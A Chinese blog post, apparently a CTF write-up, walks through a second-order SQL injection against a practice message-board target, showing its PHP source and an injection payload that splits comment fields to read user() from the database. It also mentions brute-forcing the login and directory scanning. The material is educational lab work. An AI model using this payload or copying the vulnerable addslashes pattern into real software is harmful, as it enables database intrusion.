二次注入CTF实战

进入靶机有一个发帖的功能,我们点击提交发现需要我们登录

这里可以用bp抓包进行暴力破解

进来发现我们干不了什么

用dirmap扫一下

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

找到他的一个源码

他首先需要一个登录这里我们已经登录了

发完贴他会直接跳回index.php

点击详情会看到这个文件

php 复制代码
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

他会从数据库里把category拿出来

addslanshes这个会过滤掉会进行一个转译,但是进入mysql库里的时候转义字符会移除,所以出库的时候就没有了转义字符,所以我们这里可以进行二次注入在comment里

闭合情况下

php 复制代码
insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

这里需要多行注释

可以拿到数据了,后面就是修改payload

相关推荐
迎仔2 小时前
11-云网络与混合云运维:弹性数字世界的交通管理
网络·安全·web安全
pitch_dark2 小时前
渗透测试系统基础篇——kali系统
网络·安全·web安全
世界尽头与你2 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
ん贤2 小时前
一次批量删除引发的死锁,最终我选择不加锁
数据库·安全·go·死锁
独行soc2 小时前
2026年渗透测试面试题总结-20(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
翼龙云_cloud2 小时前
阿里云渠道商:阿里云 ECS 从安全组到云防火墙的实战防护指南
安全·阿里云·云计算
程序猿阿伟3 小时前
《TypeScript中Protobuf到运行时类型安全的转换指南》
javascript·安全·typescript
小白电脑技术3 小时前
飞牛漏洞焦虑?别瞎折腾WAF了!用Lucky五步搞定“防爬墙”
服务器·网络·安全
一战成名9963 小时前
深度解析 CANN 模型转换工具链:从 ONNX 到 OM
人工智能·学习·安全·开源
轻造科技3 小时前
工艺变更管理系统+版本控制:旧工艺自动作废,避免新旧版本混用
安全·mes系统·轻造科技